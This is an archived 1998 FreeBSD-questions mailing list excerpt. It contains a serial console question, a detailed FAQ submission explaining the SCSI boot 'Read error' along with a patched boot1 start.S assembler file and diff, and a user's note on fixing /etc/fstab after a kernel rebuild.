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Date:=20 Friday, April 03, 1998 1:19 PM
Subject: Serial Ports - How = to=20 configure to use with minicom

Newbie question. How does one configure a serial = port under=20 FreeBSD to use as a console for another machine. I wish to use the BSD=20 equivalent of dos's com1: on my Toshiba laptop
 
1. what do I configure in the kernel = (sio1?)
2. which /dev device do I talk to with = minicom?
3. are there any /etc files that I need to=20 configure
 
I am tring to use minicom from my laptop to talk to = my Sun=20 boxes when i build them.
 
I *have* had a go myself with limited success. If = anyone knows=20 or can point me to a URL or FAQ I would be greatly = appreciative.
 
 
 
 
------=_NextPart_000_00A4_01BD62CB.A0641A80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 17:59:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA03364 for freebsd-questions-outgoing; Tue, 7 Apr 1998 17:59:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA03352 for ; Tue, 7 Apr 1998 17:59:18 -0700 (PDT) (envelope-from rostewa2@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id VAB11495 for ; Tue, 7 Apr 1998 21:02:39 -0400 (EDT) Received: from vt.edu (rostewa2.campus.vt.edu [198.82.96.185]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id UAA16005 for ; Tue, 7 Apr 1998 20:59:00 -0400 (EDT) Message-ID: <352A8590.FAA6EB76@vt.edu> Date: Tue, 07 Apr 1998 19:59:12 +0000 From: Brandon Stewart X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: [Fwd: [Fwd: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list.]] Content-Type: multipart/mixed; boundary="------------7984576214E0A7012F335AE9" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------7984576214E0A7012F335AE9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Someone forward this to faq@freebsd.org. Whenever I forward it, it goes right back to myself. Thanks, Brandon. --------------7984576214E0A7012F335AE9 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from eot.cs.uoregon.edu (eot.cs.uoregon.edu [128.223.202.87]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id TAA25314 for ; Tue, 7 Apr 1998 19:29:01 -0400 (EDT) Received: from hub.freebsd.org (hub.FreeBSD.ORG [204.216.27.18]) by eot.cs.uoregon.edu (8.8.5/8.8.5) with ESMTP id QAA23725; Tue, 7 Apr 1998 16:28:36 -0700 (PDT) Received: from localhost (daemon@localhost) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id QAA18014; Tue, 7 Apr 1998 16:28:28 -0700 (PDT) (envelope-from owner-freebsd-questions) Received: by hub.freebsd.org (bulk_mailer v1.6); Tue, 7 Apr 1998 16:27:42 -0700 Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17660 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:27:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17616 for ; Tue, 7 Apr 1998 16:27:12 -0700 (PDT) (envelope-from rostewa2@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id TAA29012 for ; Tue, 7 Apr 1998 19:30:36 -0400 (EDT) Received: from vt.edu (rostewa2.campus.vt.edu [198.82.96.185]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id TAA08075 for ; Tue, 7 Apr 1998 19:26:58 -0400 (EDT) Message-ID: <352A6FFE.CE3D65F1@vt.edu> Date: Tue, 07 Apr 1998 18:27:10 +0000 From: Brandon Stewart X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: faq@FreeBSD.ORG Subject: [Fwd: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list.] Content-Type: multipart/mixed; boundary="------------7E712D958FABED641A3B576D" Sender: owner-freebsd-questions@FreeBSD.ORG X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------7E712D958FABED641A3B576D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Misdirected. FreeBSD needs to fix their problems with mail misdirection. --------------7E712D958FABED641A3B576D Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from eot.cs.uoregon.edu (eot.cs.uoregon.edu [128.223.202.87]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id TAA26712 for ; Tue, 7 Apr 1998 19:18:13 -0400 (EDT) Received: from hub.freebsd.org (hub.FreeBSD.ORG [204.216.27.18]) by eot.cs.uoregon.edu (8.8.5/8.8.5) with ESMTP id QAA23644; Tue, 7 Apr 1998 16:17:52 -0700 (PDT) Received: from localhost (daemon@localhost) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id QAA16684; Tue, 7 Apr 1998 16:17:46 -0700 (PDT) (envelope-from owner-freebsd-questions) Received: by hub.freebsd.org (bulk_mailer v1.6); Tue, 7 Apr 1998 16:16:53 -0700 Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA16332 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:16:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA16325 for ; Tue, 7 Apr 1998 16:16:41 -0700 (PDT) (envelope-from rpj@fep.hirshfields.com) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id SAA03109 for faq@freebsd.org; Tue, 7 Apr 1998 18:16:41 -0500 (CDT) Received: (from rpj@localhost) by fep.hirshfields.com (8.8.5/8.8.5) id RAA08086 for faq@freebsd.org; Tue, 7 Apr 1998 17:57:44 -0500 (CDT) From: "Roger P. Johnson" Message-Id: <199804072257.RAA08086@fep.hirshfields.com> Subject: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list. To: faq@FreeBSD.ORG Date: Tue, 7 Apr 1998 17:57:43 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG X-Loop: FreeBSD.ORG Hello, I am submitting this FAQ in hope that it may be entered into the official FreeBSD FAQ. After experiencing this problem first hand, searching the net, watching and posting to the mailing list, I have had no luck in getting a decent reply in how to fix the problem or what is going wrong. This problem is not just an isolated incident. In the approximately nine months of monitoring the mailing lists, I am seeing this question posted more and more from various users. So I dug into the source code and this is what I found as the problem and a solution to it. Enclosed at the very end of this letter, is the post I am posting to the questions@FreeBSD.org mailing list. That post goes into more detail, and this letter is really just a summary of that. IF you do decide to put this Q&A in the official FAQ, please feel free edit this info to what is more appropriate for the FAQ. Thanks, Roger P. Johnson rjohnson@hirshfields.com (612) 374-0230 Here is the Q&A for the FAQ: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? A: Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). Your BIOS bootstrap code is not passing the BIOS boot device in register "dl". The FreeBSD boot program "boot1" which is on the first sector of the disk, expects this to be in register dl. But in your case, since it is not setup in the dl register, the way boot1 is coded, it will then try to boot off of a bootable floppy disk in the disk drive. And since you don't have a floppy in the floppy disk drive, the boot1 program halts and issues the "Read error" message. To fix this quirk in your boot up procedure, you need to manually apply a patch to the boot1 program, compile, install and reboot. How to fix: ----------- 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) End of FAQ letter. ================================================================================ Beginning of my detailed posting to "questions@FreeBSD.org" ================================================================================ Hi! For all of you that have encountered this annoyance of a problem, I have good news for you! Below are the hows and whys of the "Read error" message that you receive on boot after installing FreeBSD. I have been trying to get an answer to this for the last 6-9+ months, and have been unable to get an explanation of what this problem is and how to _really_ fix it. Finally I started looking at the startup code and found the problem. Isn't having the source code available wonderful? :) I checked the FreeBSD homepage pertaining to FAQ Question #103 which only mentions the "Read error" in passing, but to no use. A similar post to this has been submitted to the FAQ maintainers. Maybe it can be put in the FAQ for the next poor soul that encounter this. OK. Here's the stuff you want to know: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). So here is what I am going to cover: What circumstances does this occur under? Where does the message come from ? Why does it occur? and finally, What's the solution ? 1. Circumstances: ============== As mention earlier, you probably have a SCSI controller, a SCSI hard disk that you are using to boot from, you dedicated FreeBSD to the whole drive, and just some bad luck. I Don't believe this happens with IDE drives. I have all Phoenix BIOS's, Adaptec controllers and all Seagate SCSI hard drives and this happens to me. And other posters don't give all the complete hardware details of their system to compare with. (I don't believe that the BIOS in the PC ROM is the BIOS that boots the system, but the BIOS in your SCSI Controller card that is performing the boot. (Just try turning off the DOS INT 13H stuff on the SCSI card and see what you get). Thus I don't know if it matters whether you have a Phoenix BIOS (like all my machines do) or whether you are using maybe AMI etc. etc. and encountering this.) 2. Where does the message come from ? ================================== The message indeed comes from not the BIOS, but FreeBSD, namely the "boot1" program which lies on sector 0 of the hard disk. This first sector of the hard disk is commonly known as the "boot block" and also as the "Master Boot Record" or "MBR" for short. This boot block is the first block that is read off of the hard disk, placed into memory, and jumped to by the bootstrapping microcode in the BIOS. Buried in the boot code is the "Read error" message, along with another message "No bootable partition". This boot code also holds the fdisk partion table. When dedicating the whole drive to FreeBSD, this is just a "dummy" fdisk table. 3. Why does it occur ? =================== The reason this is occurs is because the FreeBSD boot1 program expects the BIOS boot device number to be passed to it in the "dl" register by the BIOS bootstrap code. A note here, is that ALL disk i/o activity is handled by the system BIOS UNTIL the kernel is loaded and started. Then the disk i/o bypasses the BIOS through the SCSI sub-system. (The BIOS calls are the int 13h stuff ...) Apparently, and I do not know why, there are circumstances in which the BIOS bootstrap code fails to place the BIOS boot device number into this register. Without this device number in register dl, the boot1 program doesn't branch to the normal booting off the hard drive code. But instead, it tries to boot off of the floppy disk. Yes the floppy disk. But since their isn't a bootable floppy disk in the dirve, the BIOS call to read the boot block off of the floppy disk fails, and finally boot1 issues a "Read error" and terminates (actually, it "terminates" by puting itself into an endless loop). So when you get "Read error", it has absolutely nothing to do with your hard drive! Very misleading! 4. What's the solution ? ======================= There are 2 options. Both easy to do. 1. You can do a "shared" or cooperative installation and live with it. Yuck. -or- 2. You can apply two lines of assembler code to the boot1 program, compile and install it on your hard drive. (You don't have to know assembler to fix this folks). I won't discuss option number 1, so here is how to do option 2. Enclosed at the end of this post is my complete fixed boot1 program and a listing of just the diffs. How to fix: ----------= 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Either use my "start.S" file enclosed, or edit your own start.S file and put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) 4. Comments ========= I say that this is a BIOS/Hard drive combonation problem, and NOT just a BIOS quirk as some say. This is why: Given one machine of mine, if I install FreeBSD onto a 1.1 GB SCSI HD using an Adaptec 2940U SCSI-2 controller, I get "Read error". Now, take that drive out. Replace it with a 2.1 GB SCSI HD, install FreeBSD and it boots and works correctly! Seeing how the ONLY change in the system was the hard drives (both where Seagate by the way), it is not isolated to _just_ the BIOS itself. Weird. I have been through so many combonations of drives (old and new), controllers and PC's that I can't even count them. I can sum it up this way: Adaptec 2940 series with Seagate 1.1GB hard drives --> Read error. Adaptec 1542 series with Seagate 1.1GB hard drives --> OK. One thing that is nice about the way the code is patched in start.S is that you can use that boot1 code on any dedicated FreeBSD machine you have. If you have a "normal" booting machine, it will never hit the patched code. If you have a "Read error" machine, then the patch will catch it and still let you boot. This solved a dilema I had in that I have a bunch of production machines using the 1542 series, but I am slowly upgrading them to the 2940AU series. Well, now I can have one hot spare disk with the patched boot code on it for when/if I have a hard disk crash, I know that the drive will boot with either controller on it. It also answers my question of the SCSI formats and how backward compatable SCSI is. I can put in a 2940AU and run FreeBSD that was installed on the disk via an old 1542B card and run with it. What causes the BIOS to pass the BIOS boot drive number into register dl in one situation and not the next, I don't know why. Maybe there is a BIOS/assembler guru out there that can answer this ;) ? I would like to know if Linux does/would have this problem as well. I am real tempted to buy a copy of Linux to test it out this hardware setup that I have. I hope I have helped others with this post. Maybe the FreeBSD team can redo the startup code to address this in some way? Good luck, Roger "getting into the hardware more that I wanna" Johnson rjohnson@hirshfields.com <----------------- here is my "start.S" file ----------------------------------> /* * Mach Operating System * Copyright (c) 1992, 1991 Carnegie Mellon University * All Rights Reserved. * * Permission to use, copy, modify and distribute this software and its * documentation is hereby granted, provided that both the copyright * notice and this permission notice appear in all copies of the * software, derivative works or modified versions, and any portions * thereof, and that both notices appear in supporting documentation. * * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS" * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR * ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE. * * Carnegie Mellon requests users of this software to return to * * Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU * School of Computer Science * Carnegie Mellon University * Pittsburgh PA 15213-3890 * * any improvements or extensions that they make and grant Carnegie Mellon * the rights to redistribute these changes. * * from: Mach, Revision 2.2 92/04/04 11:36:29 rpd * $Id: start.S,v 1.8 1996/07/12 05:42:02 bde Exp $ */ /* Copyright 1988, 1989, 1990, 1991, 1992 by Intel Corporation, Santa Clara, California. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies and that both the copyright notice and this permission notice appear in supporting documentation, and that the name of Intel not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. INTEL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL INTEL BE LIABLE FOR ANY SPECIAL, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN ACTION OF CONTRACT, NEGLIGENCE, OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "asm.h" .file "start.S" SIGNATURE= 0xaa55 LOADSZ= 15 /* size of unix boot */ PARTSTART= 0x1be /* starting address of partition table */ NUMPART= 4 /* number of partitions in partition table */ PARTSZ= 16 /* each partition table entry is 16 bytes */ BSDPART= 0xA5 /* value of boot_ind, means bootable partition */ BOOTABLE= 0x80 /* value of boot_ind, means bootable partition */ NAMEBLOCKMAGIC= 0xfadefeed /* value of magicnumebr for block2 */ /* * This DEBUGMSG(msg) macro may be useful for debugging. Its use is * restricted to this file since it only works in real mode. */ #define DEBUGMSG(msg) \ data32 ; \ mov $msg, %esi ; \ data32 ; \ call message .text ENTRY(boot1) /* * start (aka boot1) is loaded at 0x0:0x7c00 but we want 0x7c0:0 * ljmp to the next instruction to adjust %cs */ data32 ljmp $0x7c0, $start start: /* set up %ds */ mov %cs, %ax mov %ax, %ds /* set up %ss and %esp */ data32 mov $BOOTSEG, %eax mov %ax, %ss /* * make a little room on the stack for * us to save the default bootstring we might find.. * effectively, we push the bootstring. */ data32 mov $BOOTSTACK-64, %esp /* set up %es, (where we will load boot2 to) */ mov %ax, %es /* bootstrap passes us drive number in %dl */ cmpb $0x80, %dl data32 jae hd fd: data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd /* * XXX some bootstraps don't pass the drive number in %dl. * This is a problem mainly when we are block 0 on a floppy. * Force drive 0 for floppies. * XXX %dl was assumed valid in the test that led here. */ mov $0x0, %dl /* reset the disk system */ movb $0x0, %ah int $0x13 data32 mov $0x0001, %ecx /* cyl 0, sector 1 */ movb $0, %dh /* head */ data32 jmp load hd: /**** load sector 0 into the BOOTSEG ****/ data32 mov $0x0201, %eax xor %ebx, %ebx /* %bx = 0 */ data32 mov $0x0001, %ecx data32 andl $0xff, %edx /*mov $0x0080, %edx*/ int $0x13 data32 jb read_error /* find the first 386BSD partition */ data32 mov $PARTSTART, %ebx data32 mov $NUMPART, %ecx again: addr32 movb %es:4(%ebx), %al cmpb $BSDPART, %al data32 je found data32 add $PARTSZ, %ebx data32 loop again data32 mov $enoboot, %esi data32 jmp err_stop /* * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ found: addr32 movb %es:1(%ebx), %dh /* head */ addr32 movl %es:2(%ebx), %ecx /*sect, cyl (+ 2 bytes junk in top word) */ load: #ifdef NAMEBLOCK /* * Load the second sector and see if it is a boot instruction block. * If it is then scan the contents for the first valid string and copy it to * the location of the default boot string.. then zero it out. * Finally write the block back to disk with the zero'd out entry.. * I hate writing at this stage but we need this to be persistant. * If the boot fails, then the next boot will get the next string. * /etc/rc will regenerate a complete block2 iff teh boot succeeds. * * Format of block 2 is: * [NAMEBLOCKMAGIC] <--0xdeafc0de * [nulls] * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.experimental * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.old * .... * [bootstring]NULL <---e.g. 0:wd(0,f)/kernel * FF FF FF */ where: /* * save things we might smash * (that are not smashed immedatly after us anyway.) */ data32 push %ecx /* preserve 'cyl,sector ' */ data32 push %edx /* * Load the second sector * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0201, %eax /function 2 (read) 1 sector */ xor %ebx, %ebx /* %bx = 0 */ /* buffer address (ES:0) */ data32 movl $0x0002, %ecx /* sector 2, cylinder 0 */ data32 andl $0x00ff, %edx /* head 0, drive N */ int $0x13 data32 jb read_error /* * confirm that it is one for us */ data32 xorl %ebx, %ebx /* magic number at start of buffer */ data32 addr32 movl %es:(%ebx), %eax data32 cmpl $NAMEBLOCKMAGIC, %eax data32 jne notours /* not ours so return to caller */ /* * scan for a bootstring * Skip the magic number, and scan till we find a non-null, * or a -1 */ incl %ebx /* quicker and smaller */ incl %ebx incl %ebx scan: incl %ebx addr32 movb %es:(%ebx), %al /* load the next byte */ testb %al, %al /* and if it is null */ data32 /* keep scanning (past deleted entries) */ jz scan incb %al /* now look for -1 */ data32 jz notours /* if we reach the 0xFF then we have finished */ /* * save our settings.. we need them twice.. */ data32 push %ebx /* * copy it to the default string location * which is just above the stack for 64 bytes. */ data32 movl $BOOTSTACK-64, %ecx /* 64 bytes at the top of the stack */ nxtbyte: addr32 movb %es:(%ebx), %al /* get the next byte in */ addr32 movb %al, %es:(%ecx) /* and transfer it to the name buffer */ incl %ebx /* get on with the next byte */ incl %ecx /* get on with the next byte */ testb %al, %al /* if it was 0 then quit this */ data32 jnz nxtbyte /* and looop if more to do */ /* * restore the saved settings and * zero it out so next time we don't try it again */ data32 pop %ebx /* get back our starting location */ #ifdef NAMEBLOCK_WRITEBACK nxtbyte2: addr32 movb %es:(%ebx), %al /* get the byte */ addr32 movb $0, %es:(%ebx) /* zero it out */ data32 incl %ebx /* point to the next byte */ testb %al, %al /* check if we have finished.. */ data32 jne nxtbyte2 /* * Write the second sector back * Load the second sector * BIOS call "INT 0x13 Function 0x3" to write sectors from memory to disk * Call with %ah = 0x3 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0301, %eax /* write 1 sector */ xor %ebx, %ebx /* buffer is at offset 0 */ data32 movl $0x0002, %ecx /* block 2 */ data32 andl $0xff, %edx /* head 0 */ int $0x13 data32 jnb notours data32 mov $eread, %esi jmp err_stop #endif /* NAMEBLOCK_WRITEBACK */ /* * return to the main-line */ notours: data32 pop %edx data32 pop %ecx #endif movb $0x2, %ah /* function 2 */ movb $LOADSZ, %al /* number of blocks */ xor %ebx, %ebx /* %bx = 0, put it at 0 in the BOOTSEG */ int $0x13 data32 jb read_error /* * ljmp to the second stage boot loader (boot2). * After ljmp, %cs is BOOTSEG and boot1 (512 bytes) will be used * as an internal buffer "intbuf". */ data32 ljmp $BOOTSEG, $ EXT(boot2) /* * read_error */ read_error: data32 mov $eread, %esi err_stop: data32 call message data32 jmp stop /* * message: write the error message in %ds:%esi to console */ message: /* * Use BIOS "int 10H Function 0Eh" to write character in teletype mode * %ah = 0xe %al = character * %bh = page %bl = foreground color (graphics modes) */ data32 push %eax data32 push %ebx data32 mov $0x0001, %ebx cld nextb: lodsb /* load a byte into %al */ cmpb $0x0, %al data32 je done movb $0xe, %ah int $0x10 /* display a byte */ data32 jmp nextb done: data32 pop %ebx data32 pop %eax data32 ret stop: hlt data32 jmp stop /* halt doesnt actually halt forever */ /* error messages */ #ifdef DEBUG one: String "1-\0" two: String "2-\0" three: String "3-\0" four: String "4-\0" #endif DEBUG #ifdef NAMEBLOCK_WRITEBACK ewrite: String "Write error\r\n\0" #endif /* NAMEBLOCK_WRITEBACK */ eread: String "Read error\r\n\0" enoboot: String "No bootable partition\r\n\0" msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" endofcode: /* * Dummy partition table in case we are block 0. The ending c/h/s values * of the non-null partition are almost arbitary. The length of this * partition is bogus for backwards compatibility and as a signature. * A real partition table shouldn't be as weird and broken as this one, * and the isa slice initialization routine interprets this table as * saying that the whole disk is used for FreeBSD. */ /* flag, head, sec, cyl, typ, ehead, esect, ecyl, start, len */ . = EXT(boot1) + PARTSTART strttbl: .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte BOOTABLE,0,1,0,BSDPART,255,255,255 .long 0,50000 /* the last 2 bytes in the sector 0 contain the signature */ . = EXT(boot1) + 0x1fe .value SIGNATURE ENTRY(disklabel) . = EXT(boot1) + 0x400 <----------------- end of my "start.S file ----------------------------------> <----------------- here is my diffs file: diff start.S start.S.orig -----------> 112,126d111 < < data32 < mov $msg1, %esi < data32 < call message < data32 < mov $msg2, %esi < data32 < call message < data32 < < mov $0x0080, %edx < jmp hd < < 437,438d421 < msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" < msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <----------------- end of my diffs file: diff start.S start.S.orig ----------> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message --------------7E712D958FABED641A3B576D-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message --------------7984576214E0A7012F335AE9-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:10:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA05347 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:10:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA05241 for ; Tue, 7 Apr 1998 18:10:01 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id VAA25814 for ; Tue, 7 Apr 1998 21:14:37 -0400 (EDT) Date: Tue, 7 Apr 1998 21:14:36 -0400 (EDT) From: "Stephen A. Derdau" To: faq@FreeBSD.ORG Subject: /dev/wd0a 2.2.6 stable (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You can edit this if you want to use it. i Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" ---------- Forwarded message ---------- Date: Tue, 7 Apr 1998 12:04:15 -0400 (EDT) From: Stephen A. Derdau To: sderdau@xtdl.com Cc: freebsd-questions@FreeBSD.ORG Subject: /dev/wd0a 2.2.6 stable ***** Thank You for all your help : Doug White Greg Lehey ****************************************** Well I finally got it right. MAYBE THIS INFO will help someone else. I rebuilt a kernel and did not do make world. However, I got the kernel to work finally. Until I got the fstab right I could not boot the new kernel. Anyways when I was unsuccessfull booting the new kernel I had to reboot boot **** kernel.old ****** still had a problem with fstab. had to mount -o rw -u /dev/wd0a / mount -a -t ufs swapon -a cd /etc and vi fstab Things just didn't work no matter what I did /dev/wd0s1a ...wd0s2a etc. Until I went to /dev/ did: sh MAKEDEV wd0s2a changed the /etc/fstab to : Device Mountpoint FStype Options Dump Pass# /dev/wd0s2a / ufs rw 1 1 And rebooted. Well what do you expect for a newbie. ! 